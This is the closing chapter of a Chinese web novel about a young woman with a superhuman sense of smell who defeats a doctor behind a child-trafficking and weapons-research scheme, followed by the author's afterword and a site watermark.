池茗恍然大悟,“那就对了,他看着的确像军人,但又没那么厉害,原来是宁蓝的军人。” 段浩道:“原来幕后之人是曼德,曼德利用了池明远,他想用池明远做掩护,让他背锅。” 池昭拧眉,“可他为什么要这样做?” “你们不是控制住他了吗?抓起来问问。” 池昭说:“只是私人控制,没有证据,没办法把他带到长峡。” 段浩指着池茗说:“让她当证人,受害人都是咱们的人,完全可以。” 池昭依然皱着眉。 他不知道曼德为何要这样做。 池昭和曼德打过很多次交道,这个人一直表现出来的都只有贪婪。 他爱钱,只爱钱,还喜欢吹牛。 他为什么要研究味觉? 池昭想到他的身份。 曼德毕竟是宁蓝国军方的,气味对他们来说…… 池昭问池茗,“你去过他们的老巢吗?” 池茗反问:“什么叫老巢?” “应该在宁蓝那边,甚至可能就在龙星岗,他们要研究你的嗅觉,总要有目的。” 池茗说:“闻过武器。” “什么武器?” “什么都有,”池茗说,“比如弹药,他们让我写出里面的成分还有配比,甚至是坦克,他们想让我闻出安装坦克的步骤,但很可惜,我可没有这么强大的能力。” 池昭意识到,池茗的能力和桑白玉差距很大。 她做不到桑白玉的程度。 段浩震惊道:“他们是想靠你们做出武器?!” 局长沉声道:“曼德毕竟是宁蓝部队的,看来他的真实目的和池明远完全不同,我们要尽快和上级沟通。” 段浩问:“他们做出来了吗?” 池茗点头,“他们总是带来新奇的东西,让我去判断成分,还要判断如何组装的,有的我能判断出来,有的判断不出来。” “哪国产的?” “都有,有很先进的,也有看起来很老旧的。” 宁蓝只是小国家,武器装备很差。 曼德的目的是让宁蓝国变得强大。 池昭又问:“还有其他重要人物吗?” “有个医生,”提到医生,池茗紧张地舔了舔嘴唇,“他会定期来收容所给我检查身体,还会给我开各种药,好像都是能促进嗅觉的,我也不知道管不管用,反正一直吃着。” 段浩说:“一会儿你再去一趟一院,他们的行为可能会破坏你的身体。” 池茗说:“我也不知道,反正他们让吃我就吃,我没有反对的资格,那个人……实在有些可怕。” “医生?” 池明远点头。 “医生怎么会可怕?” 池茗:“五大三粗的人很听他的话。” 段浩又是一惊,“难道医生才是真正的幕后人?” “我也不清楚,两个人差不多吧,其实我一直以为这一切都是池明远操纵的,我都姓池呢,是他们取的。” 事情已经了解得差不多了。 曼德和这位医生私下偷偷研究嗅觉好的孩子,想让孩子们帮他做事。 要做的事就是研究各种先进武器。 至于这些武器去了哪儿,只能请他们过来说了。 问题是医生的身份。 “你知道医生的名字吗?” 池茗嫌弃道:“我连五大三粗的人叫什么都不知道,还敢问医生的名字?” “他们没有称呼过彼此?” “他们很少在同一时间出现。” “那会是谁?” 池茗:“……我也很想知道。” 她不满地看着段浩,似乎嫌弃他废话太多。 段浩尴尬地看向局长。 不等局长开口,池昭先说道:“找人画像。” 段浩:“啊?” 池昭说:“先把医生的脸画出来,他能和曼德联手,曼德还对他很客气,一定不是普通人,如果有画像,说不定能认出他。” 几人匆匆走出审讯室。 吴元青第一个走过来,“怎么样了?” 池昭说:“得找画像师,池明远和收容所没关系,现在我们要找一个医生,他很重要。” 惠海铭几人走过来,“你说什么?收容所和池明远无关?!” 池昭点头。 吴元青不敢相信,“池明远是想脱罪吧?他在撒谎?” 池昭说:“池明远必死无疑。” 吴元青:“……” “可你说的医生是什么意思?”惠海铭问,“收容所里有医生?” 苏蓝移分析道:“收容所有很多检查身体的器械,还要研究孩子们的嗅觉,一定有医生的参与,只是没想到他的身份很重要。” 池昭看向四周,奇怪道:“桑白玉不在?” 惠海铭随口答道:“医院那边有点儿事,医生把她叫过去了。” 语落,整个市局仿佛都安静了。 医生把桑白玉叫走了。 哪个医生? * 桑白玉头昏脑胀,甚至就快分辨不出眼前的人是方小满还是敌人。 她们被逼到几乎无人的巷子,四处都有追逐她们的人。 方小满拖着桑白玉往前跑,“我怎么就没想过,嗅觉太强也不好,那家伙让你闻了什么?!” 桑白玉用力掐了掐大腿,声音也是迟钝的,“可能是会让人昏睡之类的药吧?” 原本需要吃下去才能起效的药,对她来说似乎特别有效。 现在她知道嗅觉太强的弊端了。 方小满将桑白玉拖入另一个胡同。 她看到胡同里放着水缸,二话不说先把桑白玉的头按进去。 桑白玉:“咕噜咕噜咕噜咕噜——” 桑白 玉:“……” 方小满看向身后的十几人。 十几个人而已,如果桑白玉是正常的,她们根本不用害怕。 可惜对方好像知道桑白玉的能力,提前准备了。 冷水让桑白玉清醒了些,可行动还是没那么自如。 这可不行。 如果嗅觉厉害就会如此,她以后岂不是会经常被攻击? 她以前也接触过药品,当时为何没有如此大的反应? 是因为这是他特意为她调制的药? 方小满见桑白玉的状态好了些,问道:“话又说回来,何欢到底为什么要追我们啊?” 突然出现的医生就是何欢。 桑白玉迅速分析道:“何欢在追我们,他知道我的能力,或许和收容所有关,池明远需要研究嗅觉,有医生在不奇怪。” “池明远都被抓了,他还在努力工作啊?真惨。” 桑白玉听到这话怔住片刻。 对啊,池明远被抓了,何欢第一时间不是自保,居然是来找她? 对何欢来说,抓住她比自保更重要? 那他就不会是普通的牛马了,起码得是高层领导级别的。 而且是那种,头子死了,他能获益的高级领导。 桑白玉恍然大悟,“原来何利是这样死的。” “啊?何利是谁?” 桑白玉无奈道:“你还验过他的尸体。” 方小满勉强用了用脑子,“精神病院的那个?” 何利的案子,他们一直没找到凶手。 桑白玉说:“何利的家里有孩子们的档案,他大概是发现了何欢做过的事情才被灭口。他是在来长峡的路上死亡的,他可能是想躲一躲,没想到何欢直接下死手。” 方小满惊讶道:“他可是何利的哥哥。” 何利遇害后,何欢还去过警署,当时他的难过十分真挚。 如果是何欢害死的何利,他的演技也太好了些。 桑白玉说完这些,方小满便听到笑声,“你的脑子果然很好用,说不定嗅觉会比池茗强。池茗真是不中用,这才哪儿到哪儿?还没有姜玉玲厉害,就停滞了。” 穿着白大褂的男人走到胡同口,身后还是几个打手。 桑白玉微讶,“姜玉玲的失踪和你有关?” 何欢没有否认,“她是我见过的最美丽最聪明的女人,可惜了,太过聪明,没能活下来。” 方小满怒道:“你为什么对池昭的妈妈下手?!” “我只是帮助她,”何欢微笑道,“我曾经是池明远的家庭医生,在我发现姜玉玲被池明远囚禁后,我没有装作看不见,反而顶着压力帮她逃跑,她不该感谢我吗?” 桑白玉立刻明白了,“是你把姜玉玲带走的,你想研究她的嗅觉。” 何欢说:“可惜她性格太烈,说什么都不肯帮忙,还自尽了。何苦呢,如果她愿意帮助我们,我能给她很好的生活。” 姜玉玲是自尽的。 桑白玉想到池昭,心里不太舒服。 如果他知道母亲的死因,会很难过吧。 桑白玉问:“何利呢,你的亲弟弟,你也不在意?” “没办法,以前有部分女孩是先转移到精神病院藏起来的,这个人就是太轴,明明又蠢又坏,还要装作正直,我们只好把人都转移到长峡,建了个收容所。” 方小满看向桑白玉。 原来收容所建在长峡还有这个原因。 何欢说:“我骗他,已经把孩子们放走了,他就信以为真,没想到出狱后被他发现了档案,他非要和我对峙,问我孩子们的下落,还说要去报案。” 在龙星岗报案当然没用,何利要去长峡报案。 何欢就只能送他离开。 “我本来想试试新研制的武器的,但炸药也很金贵,还是用最普通的东西把他送走吧,反正他不听话,只会给我添乱,他的命也不值几个钱。” 过去那几起未结的案子都有结果了。 何利是被何欢害死的。 还有提拉德,他与池茗有关,他的死八成也与何欢这帮人有关。 桑白玉说:“你们才是真正的丧心病狂。” 何欢道:“我们只是立场不同,做的都是彼此应该做的事。” 方小满气愤道:“你们应该做的事情就是杀人?更无耻了!” 桑白玉偷偷碰了碰方小满,在水缸后打手势。 方小满会意,继续大骂何欢,拖延时间。 桑白玉闭上眼睛回忆。 她以前接触过其他药物,当时没有任何反应,那会儿是怎么做到的? 和现在有区别吗? 她必须尽快想明白。 气味是可以暂时封闭的,这没问题,只要不呼吸就可以了。 但当时她根本不知道她对药物的反应有多大,不会故意不呼吸的。 方小满骂人的声音越来越大。 用词太脏,何欢恼羞成怒。 方小满低声求救,“我好像坚持不了多久了,要不就直接打吧?” 反正只有十几个人,只要桑白玉不晕倒,怎么都行! 桑白玉紧闭双眼一言不发。 方小满:“……你入定了啊?!” 桑白玉的脑子正飞速运作。 以前和现在的区别是…… 以前没有危险。 桑白玉猛然睁眼。 对了,以前的她没遇到危险!没有努力去嗅周围的气息! 方才不同,医生已经出现,她察觉到不寻常,便试图嗅出附近有多少人。 看来嗅觉的大小是可以控制的。 那应该有更进一步的方法吧? 不是直接捂住鼻子的控制,而是自由地呼吸,自由地控制自己,不使用能力。 桑白玉愈发放松,身子也跟着倾斜。 方小满看看何欢,又看看桑白玉,“这种情况虽然很不好意思,但我还是要打扰一下,你是要睡了吗?” 这不好吧?! 何欢身后的打手冲了过来。 与此同时,桑白玉慢慢站起来,淡定道:“十几个人而已,怕什么?” 她向前走去。 何欢拿出一盒药水,冷笑道:“这些药水可能对方小满没用,但对你却很有作用,你最好聪明点儿,别学姜玉玲,和我们合作有什么不好?” 桑白玉径直地朝何欢走去。 途经两个打手,打手愣住,一时间不知道该不该出手。 桑白玉顺手赏了他们两拳,门牙也跟着掉了两颗。 以哀号声为背景,桑白玉走到何欢面前保持着两米的距离。 何欢冷笑道:“你是真的不怕死,两米也足够了。” 他再次把药洒向桑白玉。 桑白玉纹丝未动。 方小满急道:“小玉,你赶紧回来!太危险了,快回来!” 她急火火地想往桑白玉那边冲。 已经走过去的打手却围了上去,她只能后退。 何欢笑盈盈地看着桑白玉,“既然你自投罗网,就和我走吧。这一次我会严加看管,不给你自尽的机会,你放心,姜玉玲的事,不会再重演了。” 然而一秒钟过去,十秒钟过去,一分钟过去,桑白玉毫无反应。 何欢的笑容渐渐凝固。 方小满也疑惑地看着桑白玉,“这是怎么了?” 这回轮到桑白玉露出吃人般的快乐笑容,“刚好代谢掉了诶,平时还是要多运动!代谢才会好!” 何欢还没反应过来,桑白玉便冲过来打掉了他手中的药水。 紧接着,他的脖子被桑白玉勒住,腹部和膝盖同时遭到重击,强烈的疼痛让他缩紧身体,喉咙又被桑白玉的手按着,连叫都叫不出来。 桑白玉冲着方小满喊道:“打,把他们都打死!” 方小满虽然不明白发生了什么,但显然桑白玉已经不会被药水影响,她心情愉悦,“我忍了很 久了!就他们几个?无聊!” 方小满冲打手们龇起大牙。 打手们:“……” 现在求饶还来得及吗? 池昭带人匆匆赶到时,已经停战了。 方小满正在打扫战场。 桑白玉把何欢丢给池昭,“给你,他也是关键人物,手里有人命,毙掉。” 池昭看向晕死的何欢:“……” 惠海铭冲过来检查她们的身体,“小玉,小满,没事吧?都还好?” 桑白玉摸了摸鼻子,“很好诶,而且还发现了新大陆。” 原来是否使用能力也是可以控制的。 在危险时刻,她只要保持普通人的嗅觉就好了。 池昭意识到什么。 他想到池茗的能力,再看看桑白玉,才意识到桑白玉的能力有多恐怖。 池茗与她完全无法相提并论,难怪何欢会冒着生命危险来找她。 池家的案子审了有两个月,才渐渐理清一些。 收容所的案子也登上各大报纸,一是要给宁蓝方面压力,让他们移交犯人,曼德也要受到惩罚。 其次便是,他们需要找到孩子们的父母。 长峡和龙星岗的市场一起洗牌了。 年前寒假,桑白玉回到玉石店。 他们今天要煮火锅,二楼热气腾腾。 池希看到桑白玉,朝她飞奔而去,试图拥抱她,被她躲开。 池希伤心道:“我提前放假,都等你两天了,你怎么躲着我?” 桑白玉说:“男女授受不亲,我们要保持距离。” 池希说:“我们就不能……” 桑白玉想都没想便拒绝,“不能。” 池希:“……” 更难过了。 张淼系着围裙,和惠海铭一起在厨房忙碌。 宁红英从房间里走出来,“小满今天加班,得晚些回来,好像是去山里验尸了。” 方小满目前是长峡市的法医。 长峡刑侦队工作格外多,和龙星岗警署的状态完全不同。 桑白玉问:“吴叔叔呢?” “他去看池茗了,明天才来。” 池茗最后虽然积极配合调查,有立功表现,但她牵扯的案子实在太多,目前人在少管所。 不过她没有杀人的主观意识,收容所其他人也能证明这一点,所以要待的时间不长,明年春天就能回来了。 吴元青已经在帮她联系学校,他想让她回去上学。 桑白玉无奈道:“真没想到吴叔叔又回龙星岗警署了,他真的要一辈子待在龙星岗吗?” “他的女儿还没找到嘛。” 桑白玉不知该说些什么。 吴元青的女儿大概也是被拐来的,可能嗅觉也不错。 最早被带来的那批孩子里,只有池茗几人活了下来,这几人都不是他的女儿。 吴元青的女儿八成已经…… 桑白玉想,吴元青也是知道的。 可有目标,就有希望,说不定哪天他真的会等到女儿。 一行人热热闹闹地聚在一起吃火锅。 桑白玉不断拿出小灵通。 信息那栏一直没有新的提示。 桑白玉拧眉点开信息。 她分明给池昭发了消息,邀请他一起来吃火锅,他居然不回消息。 可恶,过分。 几人闹到了凌晨一点才睡。 玉石店的生意稳定,现在就是他们的据点,随时都可以聚一聚。 桑白玉喝了些酒,没什么困意。 她躺在床上胡思乱想。 最近的生活太平静,她都不太适应了。 等池家的案子彻底理清楚,池明远也该走向断头台了。 何欢和曼德现在都在长峡市收押,他们对池茗等受害人做的事情,得有一个说法。 就在桑白玉迷迷糊糊要睡着时,她忽然听到响动。 桑白玉瞬间坐起来,刚好看到一颗小石子落到玻璃上。 桑白玉打开窗户,向楼下看去。 银白色的月光洒在安静的路面上,男人倚着路灯,戴着不合时宜的墨镜,朝她招招手。 桑白玉的唇畔瞬间弯起,她甚至没有走楼梯,直接从二楼翻窗跳下去。 池昭一惊,下意识走过来想接住她,桑白玉却提前一步稳稳落地。 桑白玉扬眉,“你也想接住我哦?” 池昭:“……” 他又被嫌弃了。 桑白玉看着池昭身上的军装,叉腰质问:“为什么不回我的消息,当上军官就了不起了?” 最重要的是…… “你都能当军官,我将来是不是比你强?” 池昭哭笑不得,他手指点着桑白玉的额头,将越凑越近的她推开,“我不是说了,我一直在为这边做事。” 桑白玉问:“十岁开始?” “嗯。” 桑白玉感慨道:“还是你藏得深,不过……你是你不回我信息的理由吗?” 池昭说:“今天有任务,才有时间,立刻过来了。” 桑白玉这才满意,“那就对了,吃饭了没,走,去吃饭。” 池昭诧异道:“现在?” 桑白玉把池昭往楼上拽,“对啊,还能吃。” 池昭犹豫道:“我和他们都不熟悉,不太方便。” 桑白玉的力气比从前还大,池昭毫无反抗的余地。 桑白玉说:“多相处才会熟悉,反正这几天假期你都不能走。” 池昭扬起唇,任由她拉着自己。 这样也不错—— 作者有话说:真的有每天都写,但因为直接写的主线,跳过了小案子和开店,感觉怎么写都很奇怪,所以一直没有发 [化了]虽然很怪,但真的是认真写完的 番外会写男女主感情线,福利番外,我记得要完结一周后才能发,就当写给为数不多的几个宝宝吧[让我康康]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m